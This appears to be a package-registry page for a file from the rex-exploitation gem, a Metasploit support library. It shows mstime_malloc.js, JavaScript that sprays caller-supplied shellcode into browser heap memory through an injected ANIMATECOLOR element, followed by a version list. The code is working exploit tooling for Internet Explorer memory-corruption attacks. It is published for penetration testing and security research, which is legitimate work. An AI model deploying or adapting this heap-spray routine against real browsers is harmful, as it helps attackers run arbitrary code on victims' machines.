Sha256: 2222c4b62181912584907fd12d0eb99fa043a64ee8573bb7f7b476e32b27c742

Contents?: true

Size: 891 Bytes

Versions: 41

Compression:

Stored size: 891 Bytes

Contents

function mstime_malloc(oArg) {
  var shellcode     = oArg.shellcode;
  var offset        = oArg.offset;
  var heapBlockSize = oArg.heapBlockSize;
  var objId         = oArg.objId;

  if (shellcode     == undefined) { throw "Missing argument: shellcode"; }
  if (offset        == undefined) { offset = 0; }
  if (heapBlockSize == undefined) { throw "Size must be defined"; }

  var buf = "";
  for (var i=0; i < heapBlockSize/4; i++) {
    if (i == offset) {
      if (i == 0) { buf += shellcode;       }
      else        { buf += ";" + shellcode; }
    }
    else {
      buf += ";#W00TA";
    }
  }

  var e = document.getElementById(objId);
  if (e == null) {
    var eleId = "W00TB"
    var acTag = "<t:ANIMATECOLOR id='"+ eleId  + "'/>"
    document.body.innerHTML = document.body.innerHTML + acTag;
    e = document.getElementById(eleId);
  }
  try { e.values = buf; }
  catch (e) {}
}

Version data entries

41 entries across 41 versions & 1 rubygems

Version Path
rex-exploitation-0.1.40 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.39 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.38 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.37 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.36 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.35 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.34 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.33 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.32 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.31 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.30 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.29 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.28 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.27 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.26 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.25 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.24 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.23 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.22 data/js/memory/mstime_malloc.js
rex-exploitation-0.1.21 data/js/memory/mstime_malloc.js